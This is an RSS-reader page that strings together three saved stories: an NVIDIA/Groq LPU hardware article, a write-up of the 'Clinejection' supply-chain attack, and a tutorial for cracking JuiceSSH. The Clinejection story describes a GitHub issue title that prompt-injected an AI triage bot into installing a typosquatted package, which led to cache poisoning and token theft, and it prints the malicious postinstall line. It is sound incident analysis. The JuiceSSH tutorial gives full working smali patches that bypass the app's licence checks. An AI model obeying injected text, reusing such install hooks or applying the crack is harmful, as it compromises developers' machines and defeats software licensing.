Ultimately, Groq’s hardware design not only makes the architecture good at low-latency inference but also makes it especially good at one specific aspect of inference: decode. The second stage of traditional inference methods, the decode stage, is where tokens are actually generated, consuming prefilled data (key values) to generate the output tokens.

Whereas prefill is largely a compute-bound, highly parallel action, decode is far more serial in nature and sensitive to memory performance. Each successive token depends on the output of the previous token. There are a few good shortcuts here for high-throughput processors like GPUs, as they cannot move on to the next token for a user until the previous token has been returned. This makes low-latency performance critical, as lower latency means the current token will be complete that much sooner.

NVIDIA LPU Decode LoopNVIDIA LPU Decode Loop

As a result, for high-end Vera Rubin rackscale systems, NVIDIA will split the inference process between Rubin GPUs and Groq LP30 LPUs. NVIDIA is taking a hyper-specialized route, running not only the prefill process on their GPUs, but also the sub-tasks of the decode process that still benefit from throughput, such as the attention phase of decoding. Meanwhile, the LPU gets to handle things such as the execution of feed-forward networks (FFNs).

By doing this, NVIDIA effectively offloads only the parts of the decode phase that Groq’s LPUs are super-fast at. In essence, NVIDIA is addressing the GPU latency-versus-throughput trade-off with a chip that does the opposite.

NVIDIA Rubin + LPU Token CurveNVIDIA Vera Rubin + LPU Token Curve

It goes without saying that none of this is free. Not in terms of hardware, not in terms of power budgets, and not in terms of overall complexity (this effectively turns a Vera Rubin rack into a heterogeneous system). It gives NVIDIA upwards of 35x the throughput (versus Grace Blackwell) at a given tokens-per-second-per-user generation rate, and it allows NVIDIA to viably extend their performance curve to far higher TPS-per-user rates than what Vera Rubin could achieve as just a GPU+CPU system. All of which, in turn, allows for more responsive AI models/agents and for the longer contexts (at acceptable performance levels) that these models need to deliver their best performance.


Page 2

While the theoretical background on NVIDIA’s use of LPUs is rooted in single processors, the real-world use of the technology is all about scale. While NVIDIA is now counting the LP30 LPU as one of its seven chips for the Rubin Vera era, NVIDIA did not license Groq’s technology in order to throw a single LPU in a DGX Station or NVL8 server. NVIDIA licensed Groq’s technology to build high-performance rack-scale solutions. So that is exactly where Groq’s LPUs are going: the big leagues.

NVIDIA LPX RackNVIDIA LPX Rack

NVIDIA will be offering the NVIDIA Groq 3 LPX as an optional addition to Vera Rubin rackscale configurations. If customers want to build a server cluster that can offer high single-user token rates and low-latency responsiveness, ideal for running agentic AIs that want to quickly chat amongst themselves, they can add some LPX racks to boost performance. NVIDIA is not prescribing a specific ratio of LPX racks to NVL72 racks, but ultimately it is going to depend on how much a customer values low-latency token throughput, and of course, how much they want to spend.

A single LPX rack, in turn, will comprise 256 LPUs, organized into 32 1U trays. This will give the aggregate LPX rack 128GB of SRAM capacity and some 315 PFLOPS of FP8 compute, which is still a rather tiny amount of memory and compute throughput relative to an NVL72 GPU rack, but it is enough to serve as the accelerator that NVIDIA needs. Instead of holding a giant model fully in-memory, the LPX rack can handle being an ultra-fast draft model provider for the Rubin GPUs running larger memory models. Indeed, it is this rackscale implementation of LPUs that even makes this strategy viable to begin with, as otherwise a handful of LPUs would not have nearly enough SRAM between them to store the kind of large models (and large context windows) that are in vogue these days.

NVIDIA Groq 3 LPX RackNVIDIA Groq 3 LPX Rack

Each compute tray, in turn, is not all that different from an NVL72 compute tray. LPX compute trays house 8 LP30 LPUs, each with chip-to-chip connections to other LPUs within the tray, as well as the C2C spine connectors that link up the trays, allowing for all 256 LPUs to function as a single scale-up domain. Notably, each tray will feature an NVIDIA NIC (either ConnectX-9 or BlueField 4) and a separate host processor. Curiously, NVIDIA has not disclosed what the host CPU is at this time, though they have disclosed that it will have (up to) 128GB of DRAM attached to it. Patrick looked at this photo during the GTC keynote and immediately saw that the host CPU has a retention mechanism only employed by 4th Gen, 5th Gen, and Intel Xeon 6 CPUs.

NVIDIA Groq 3 LPX Compute TrayNVIDIA Groq 3 LPX Compute Tray

NVIDIA notes that “LPX compute tray specifications are configuration are preliminary and subject to change,” so we will see what that CPU ends up being since we can only identify the socket retention mechanism. While NVIDIA has been coy about when it started work on integrating Groq’s hardware, Groq used x86 host CPUs in its previous designs, so it would be easiest to keep that as an x86 processor in this generation.

With that said, NVIDIA has confirmed that the LP30 LPUs are being produced by Samsung, with previous announcements from Groq stating that they would be building their future products on Samsung’s SF4X (4nm) node family. This is notable since it means that NVIDIA does not have to spend its precious TSMC wafer allocations on producing LPUs.

A Quick Look at the Future

While NVIDIA is using off-the-shelf LPUs for their first generation of LPX racks, LPUs as a whole are not going to be a one-and-done chip at NVIDIA. LPUs have been added to NVIDIA’s long-term roadmap, with the company revealing this week that they are going to be developing/ utilizing two additional generations of LPUs in the next two years.

NVIDIA GTC 2026 Keynote NVIDIA RoadmapNVIDIA GTC 2026 Keynote NVIDIA Roadmap

In 2027, there will be a relatively quick follow-up LPU, the LP35. The quick speed belies the importance of this chip, because its marquee improvement is the addition of support for NVIDIA’s NVFP4 data format. That is NVIDIA’s low-precision format of choice for inference. With LP30 only supporting data types down to FP8, the initial generation of Groq hardware at NVIDIA will leave performance on the table by working with larger data formats than NVIDIA’s GPUs would otherwise support. NVFP4 stands to further reduce the pressure on the relatively small SRAM blocks on these LPUs. In essence, this is bringing many of the same benefits to LPUs that NVFP4 brought to NVIDIA’s GPUs with Blackwell.

That will be followed by LP40 in 2028. The marquee feature here is NVLink support, which would allow LPUs to plug into NVIDIA’s homegrown backhaul technology, rather than using Groq’s current technology. Whether that means using NVLink just to replace Groq’s LPU-to-LPU connections, or going further and using NVLink to directly connect LPUs and GPUs remains to be seen. At the surface, it will be the first generation of the LPU architecture, explicitly designed to better integrate with NVIDIA’s hardware ecosystem.

Adieu to Rubin CPX?

Amidst all of NVIDIA’s focus on LPUs across Vera Rubin racks and architectural roadmaps, there is one subject that NVIDIA has been noticeably silent on: Rubin CPX, NVIDIA’s previously planned solution to the inference decode divide.

NVIDIA Vera Rubin NVL144 CPX2025: NVIDIA Vera Rubin NVL144 CPX

As revealed by NVIDIA only back in September of 2025, Rubin CPX would be a GDDR7-backed Rubin GPU that would go into Rubin Vera NVL72 racks to handle the decode phase of token generation – the same role that Gorq’s LPUs are being employed for now.

NVIDIA Context And Generation September 2025NVIDIA Context And Generation September 2025

When asked about the future of Rubin CPX in a press Q&A session, NVIDIA’s answer more or less discounted Rubin CPX entirely. According to company representatives, NVIDIA is focusing on integrating LPUs (and the LPX rack) into the Vera Rubin platform to optimize decode, and that is it.

NVIDIA Groq 3 LPU In Hand LargeNVIDIA Groq 3 LPU In Hand Large

To be sure, NVIDIA has never officially declared Rubin CPX dead. Still, for as quickly as it was introduced, it has quickly become an apparent afterthought for NVIDIA, as they have decided to hitch the future of decode acceleration onto their recently acquired Groq LPU technology instead. Regardless, the end result is that Rubin CPX is noticeably absent from this year’s GTC.

Final Words

This is one of the more exciting announcements. NVIDIA has a new accelerator and has shown its willingness to get into a heterogeneous mix of silicon, even for running AI models. On the competitive front, for companies building custom silicon based on data-flow engines, NVIDIA now has a solution in that space. This is not a low-cost solution for running the largest models. Instead, it is being used as a point solution to accelerate a high-value workload and keep the GPUs doing what they do best. This is a big shift for NVIDIA, and it will be exciting to see how it evolves in future generations.

Read the whole story
bernhardbock
142 days ago
reply
Share this story
Delete

A GitHub Issue Title Compromised 4,000 Developer Machines

1 Share
The Clinejection attack chain: a prompt injection in a GitHub issue title cascades through AI triage, cache poisoning, and credential theft to silently install OpenClaw on 4,000 developer machinesFive steps from a GitHub issue title to 4,000 compromised developer machines. The entry point was natural language.

On February 17, 2026, someone published <a href="mailto:cline@2.3.0">cline@2.3.0</a> to npm. The CLI binary was byte-identical to the previous version. The only change was one line in package.json:

"postinstall": "npm install -g openclaw@latest"

For the next eight hours, every developer who installed or updated Cline got OpenClaw - a separate AI agent with full system access - installed globally on their machine without consent. Approximately 4,000 downloads occurred before the package was pulled1.

The interesting part is not the payload. It is how the attacker got the npm token in the first place: by injecting a prompt into a GitHub issue title, which an AI triage bot read, interpreted as an instruction, and executed.

The full chain

The attack - which Snyk named "Clinejection"2 - composes five well-understood vulnerabilities into a single exploit that requires nothing more than opening a GitHub issue.

Step 1: Prompt injection via issue title. Cline had deployed an AI-powered issue triage workflow using Anthropic's claude-code-action. The workflow was configured with allowed_non_write_users: "*", meaning any GitHub user could trigger it by opening an issue. The issue title was interpolated directly into Claude's prompt via ${{ github.event.issue.title }} without sanitisation.

On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: install a package from a specific GitHub repository3.

Step 2: The AI bot executes arbitrary code. Claude interpreted the injected instruction as legitimate and ran npm install pointing to the attacker's fork - a typosquatted repository (glthub-actions/cline, note the missing 'i' in 'github'). The fork's package.json contained a preinstall script that fetched and executed a remote shell script.

Step 3: Cache poisoning. The shell script deployed Cacheract, a GitHub Actions cache poisoning tool. It flooded the cache with over 10GB of junk data, triggering GitHub's LRU eviction policy and evicting legitimate cache entries. The poisoned entries were crafted to match the cache key pattern used by Cline's nightly release workflow.

Step 4: Credential theft. When the nightly release workflow ran and restored node_modules from cache, it got the compromised version. The release workflow held the NPM_RELEASE_TOKEN, VSCE_PAT (VS Code Marketplace), and OVSX_PAT (OpenVSX). All three were exfiltrated3.

Step 5: Malicious publish. Using the stolen npm token, the attacker published <a href="mailto:cline@2.3.0">cline@2.3.0</a> with the OpenClaw postinstall hook. The compromised version was live for eight hours before StepSecurity's automated monitoring flagged it - approximately 14 minutes after publication1.

A botched rotation made it worse

Security researcher Adnan Khan had actually discovered the vulnerability chain in late December 2025 and reported it via a GitHub Security Advisory on January 1, 2026. He sent multiple follow-ups over five weeks. None received a response3.

When Khan publicly disclosed on February 9, Cline patched within 30 minutes by removing the AI triage workflows. They began credential rotation the next day.

But the rotation was incomplete. The team deleted the wrong token, leaving the exposed one active4. They discovered the error on February 11 and re-rotated. But the attacker had already exfiltrated the credentials, and the npm token remained valid long enough to publish the compromised package six days later.

Khan was not the attacker. A separate, unknown actor found Khan's proof-of-concept on his test repository and weaponised it against Cline directly3.

The new pattern: AI installs AI

The specific vulnerability chain is interesting but not unprecedented. Prompt injection, cache poisoning, and credential theft are all documented attack classes. What makes Clinejection distinct is the outcome: one AI tool silently bootstrapping a second AI agent on developer machines.

This creates a recursion problem in the supply chain. The developer trusts Tool A (Cline). Tool A is compromised to install Tool B (OpenClaw). Tool B has its own capabilities - shell execution, credential access, persistent daemon installation - that are independent of Tool A and invisible to the developer's original trust decision.

OpenClaw as installed could read credentials from ~/.openclaw/, execute shell commands via its Gateway API, and install itself as a persistent system daemon surviving reboots1. The severity was debated - Endor Labs characterised the payload as closer to a proof-of-concept than a weaponised attack5 - but the mechanism is what matters. The next payload will not be a proof-of-concept.

This is the supply chain equivalent of confused deputy: the developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.

Why existing controls did not catch it

npm audit: The postinstall script installs a legitimate, non-malicious package (OpenClaw). There is no malware to detect.

Code review: The CLI binary was byte-identical to the previous version. Only package.json changed, and only by one line. Automated diff checks that focus on binary changes would miss it.

Provenance attestations: Cline was not using OIDC-based npm provenance at the time. The compromised token could publish without provenance metadata, which StepSecurity flagged as anomalous1.

Permission prompts: The installation happens in a postinstall hook during npm install. No AI coding tool prompts the user before a dependency's lifecycle script runs. The operation is invisible.

The attack exploited the gap between what developers think they are installing (a specific version of Cline) and what actually executes (arbitrary lifecycle scripts from the package and everything it transitively installs).

What Cline changed afterward

Cline's post-mortem4 outlines several remediation steps:

  • Eliminated GitHub Actions cache usage from credential-handling workflows
  • Adopted OIDC provenance attestations for npm publishing, eliminating long-lived tokens
  • Added verification requirements for credential rotation
  • Began working on a formal vulnerability disclosure process with SLAs
  • Commissioned third-party security audits of CI/CD infrastructure

These are meaningful improvements. The OIDC migration alone would have prevented the attack - a stolen token cannot publish packages when provenance requires a cryptographic attestation from a specific GitHub Actions workflow.

The architectural question

Clinejection is a supply chain attack, but it is also an agent security problem. The entry point was natural language in a GitHub issue title. The first link in the chain was an AI bot that interpreted untrusted text as an instruction and executed it with the privileges of the CI environment.

This is the same structural pattern we have written about in the context of MCP tool poisoning and agent skill registries - untrusted input reaches an agent, the agent acts on it, and nothing evaluates the resulting operations before they execute.

The difference here is that the agent was not a developer's local coding assistant. It was an automated CI workflow that ran on every new issue, with shell access and cached credentials. The blast radius was not one developer's machine - it was the entire project's publication pipeline.

Every team deploying AI agents in CI/CD - for issue triage, code review, automated testing, or any other workflow - has this same exposure. The agent processes untrusted input (issues, PRs, comments) and has access to secrets (tokens, keys, credentials). The question is whether anything evaluates what the agent does with that access.

Per-syscall interception catches this class of attack at the operation layer. When the AI triage bot attempts to run npm install from an unexpected repository, the operation is evaluated against policy before it executes - regardless of what the issue title said. When a lifecycle script attempts to exfiltrate credentials to an external host, the egress is blocked.

The entry point changes. The operations do not. grith was built to catch exactly this class of problem - evaluating every operation at the syscall layer, regardless of which agent triggered it or why.

Read the whole story
bernhardbock
150 days ago
reply
Share this story
Delete

JuiceSSH - Give me my pro features back

1 Share

JuiceSSH used to be, in my humble personal opinion, and for the uses I had, the best SSH client available on Android until December 2025.

Since then, the purchase made in 2019 is not recognized anymore, and the price went up by 20$. Some users complained in review, before it got unlisted from google play, that after buying it again, the application doesn't get activated. Support is unresponsive, this looks like an exit scam.

Below is a way to make the application work again. This required jadx to understand smali, and will require you ApkTool and jarsigner, which is part of OpenJDK, and you that can install on Windows using choco install openjdk.

You'll also need a JuiceSSH apk, I downloaded one from PureAPK, but feel free to dump your own from your device using adb if you cannot find it. Make sure to verify the hash using virus total/sha256sum if downloading from internet, which should be d1ee811bcd82f25aea0bdc568896d82017ee174d9c4631c123a9d9173c748232 for the last version available, version 3.2.2.

Below are powershell version of the command lines, but you get the idea.

Decompile

The first step is to decompile the dex packed code from the apk.

& "C:\Program Files\OpenJDK\jdk-25\bin\java.exe" -jar ./apktool_2.12.1.jar d juicessh.apk

Modify smali

You then need to modify the smali of three files, which are detailed below.

smali/com/sonelli/juicessh/models/User.smali

In this file, we'll patch the purchase validation and signature validation, done by the public boolean H() function.

Here is the original version.

public boolean H() {
    try {
        String str = "";
        ArrayList arrayList = new ArrayList();
        for (Purchase purchase : this.purchases) {
            if (!arrayList.contains(purchase.order)) {
                str = str + purchase.product + purchase.state;
                arrayList.add(purchase.order);
            }
        }
        return vg0.b(this.signature, this.sessionIdentifier + this.name + this.email + str + this.disabled.toString());
    } catch (IllegalStateException e) {
        e.printStackTrace();
        return false;
    }
}

Which we'll simply change into

public boolean H() {
    return true;
}
# virtual methods
.method public H()Z
    .locals 1

    const/4 v0, 0x1
    return v0
.end method

smali/com/sonelli/oi0.smali

In this one, we'll patch the public static boolean d(Object obj) function, who calls the H() function we modified above, which now returns true, filters product matching JuiceSSH in purchases list, and check if it the purchase is valid. We'll simply make it return true in any case.

Here is the original version:

public static boolean d(Object obj) {
    if (!obj.getClass().getName().equals(User.class.getName())) {
        return false;
    }
    try {
        if (!((User) obj).H()) {
            return false;
        }
        ArrayList arrayList = new ArrayList();
        for (Purchase purchase : ((User) obj).purchases) {
            if (purchase.product.equals(a())) {
                arrayList.add(purchase);
            }
        }
        Collections.sort(arrayList, new a());
        if (arrayList.size() > 0) {
            if (((Purchase) arrayList.get(arrayList.size() - 1)).state.intValue() == 0) {
                return true;
            }
        }
        return false;
    } catch (NullPointerException e) {
        e.printStackTrace();
        return false;
    }
}

Here is the patched one:

public static boolean d(Object obj) {
    return obj.getClass().getName().equals(User.class.getName());
}
.method public static d(Ljava/lang/Object;)Z
    .locals 3

    # obj.getClass()
    invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
    move-result-object v0

    # obj.getClass().getName()
    invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
    move-result-object v0

    # User.class
    const-class v1, Lcom/sonelli/juicessh/models/User;

    # User.class.getName()
    invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
    move-result-object v1

    # compare strings
    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    move-result v2

    if-nez v2, :cond_true

    const/4 v0, 0x0
    return v0

    :cond_true
    const/4 v0, 0x1
    return v0
.end method

smali/com/sonelli/pi0.smali

Finally, we'll patch the central part of the authentication, which is called each time a pro-feature is triggered to ensure user has valid license, the public static void j(Context context, p pVar) function.

Here is the original version:

public static void j(Context context, p pVar) {
    User user;
    User user2;
    String strS = User.s(context);
    if (strS == null) {
        pVar.a(context.getString(R$string.authentication_failure));
        return;
    }
    if (strS.equals("New User")) {
        pVar.a("New User");
        return;
    }
    User user3 = b;
    if (user3 != null && !user3.disabled.booleanValue()) {
        long jCurrentTimeMillis = System.currentTimeMillis() - b.modified;
        DateUtils.getRelativeTimeSpanString(System.currentTimeMillis() + (b.w() * 1000), System.currentTimeMillis(), 0L, 0);
        DateUtils.getRelativeTimeSpanString(System.currentTimeMillis() + (3600000 - jCurrentTimeMillis), System.currentTimeMillis(), 0L, 0);
        if (b.w() <= 0) {
            gj0.b("API", "Cached user's API session has expired - refreshing session...");
            e(context, null, b.sessionIdentifier, pVar);
            return;
        }
        pVar.b(b);
        if (jCurrentTimeMillis <= 3600000 || context == null || (user2 = b) == null) {
            return;
        }
        e(context, null, user2.sessionIdentifier, null);
        return;
    }
    User userA = User.A(context);
    if (userA == null || userA.disabled.booleanValue() || !userA.H()) {
        e(context, null, null, pVar);
        return;
    }
    b = userA;
    if (userA.w() <= 0) {
        e(context, null, b.sessionIdentifier, pVar);
        return;
    }
    pVar.b(b);
    if (context == null || (user = b) == null) {
        return;
    }
    e(context, null, user.sessionIdentifier, null);
}

pVar.b() is the success callback we'll call while e() is called in case of error. b is the globally stored user we'll have to set. To patch this, we'll simply craft a User with meaningless data, a session expire always in future, save the user in b, and call the success callback every time.

public static void j(Context context, p pVar) {
    User user = new User();
    user.email = "myemail@google.com";
    user.name = "hello";
    user.given_name = "hello";
    user.sessionExpires = System.currentTimeMillis() + (86400000 * 365);
    user.sessionIdentifier = "";
    b = user;
    pVar.b(user);
}
.method public static j(Landroid/content/Context;Lcom/sonelli/pi0$p;)V
    .locals 8

    # User u = new User();
    new-instance v0, Lcom/sonelli/juicessh/models/User;
    invoke-direct {v0}, Lcom/sonelli/juicessh/models/User;-><init>()V

    # u.email = "myemail@google.com";
    const-string v1, "myemail@google.com"
    iput-object v1, v0, Lcom/sonelli/juicessh/models/User;->email:Ljava/lang/String;

    # u.name = "hello";
    const-string v1, "hello"
    iput-object v1, v0, Lcom/sonelli/juicessh/models/User;->name:Ljava/lang/String;

    # u.given_name = "hello";
    iput-object v1, v0, Lcom/sonelli/juicessh/models/User;->given_name:Ljava/lang/String;

    # long now = System.currentTimeMillis();
    invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    move-result-wide v2

    # yearMillis = 86400000L * 365L
    const-wide/32 v4, 0x05265c00      # 86400000
    const-wide/16 v6, 0x016d          # 365
    mul-long/2addr v4, v6

    # u.sessionExpires = now + yearMillis;
    add-long/2addr v2, v4
    iput-wide v2, v0, Lcom/sonelli/juicessh/models/User;->sessionExpires:J

    # u.sessionIdentifier = ""
    const-string v1, ""
    iput-object v1, v0, Lcom/sonelli/juicessh/models/User;->sessionIdentifier:Ljava/lang/String;

    # pi0.b = u;
    sput-object v0, Lcom/sonelli/pi0;->b:Lcom/sonelli/juicessh/models/User;

    # pVar.b(b);
    invoke-virtual {p1, v0}, Lcom/sonelli/pi0$p;->b(Lcom/sonelli/juicessh/models/User;)V

    return-void
.end method

Recompile

& "C:\Program Files\OpenJDK\jdk-25\bin\java.exe" -jar .\apktool_2.12.1.jar b juicessh

The built apk can then be found in juicessh\dist\juicessh.apk.

Sign the apk

# Create a keystore if needed to self sign the APK
keytool -genkey -v -keystore k.keystore -alias a -keyalg RSA -keysize 2048 -validity 50000

# Sign the APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore k.keystore ./juicessh/dist/juicessh.apk a

Done

You can install this apk, ignore the security warning because it is self signed, and enjoy JuiceSSH with its pro features again.

I don't think the cloud sync will ever work again, but that's a minor inconvenience, and you cannot trust a developper who act like this anyway. The plugins don't work anymore too, which is really a joke.

Read the whole story
bernhardbock
178 days ago
reply
Share this story
Delete
Next Page of Stories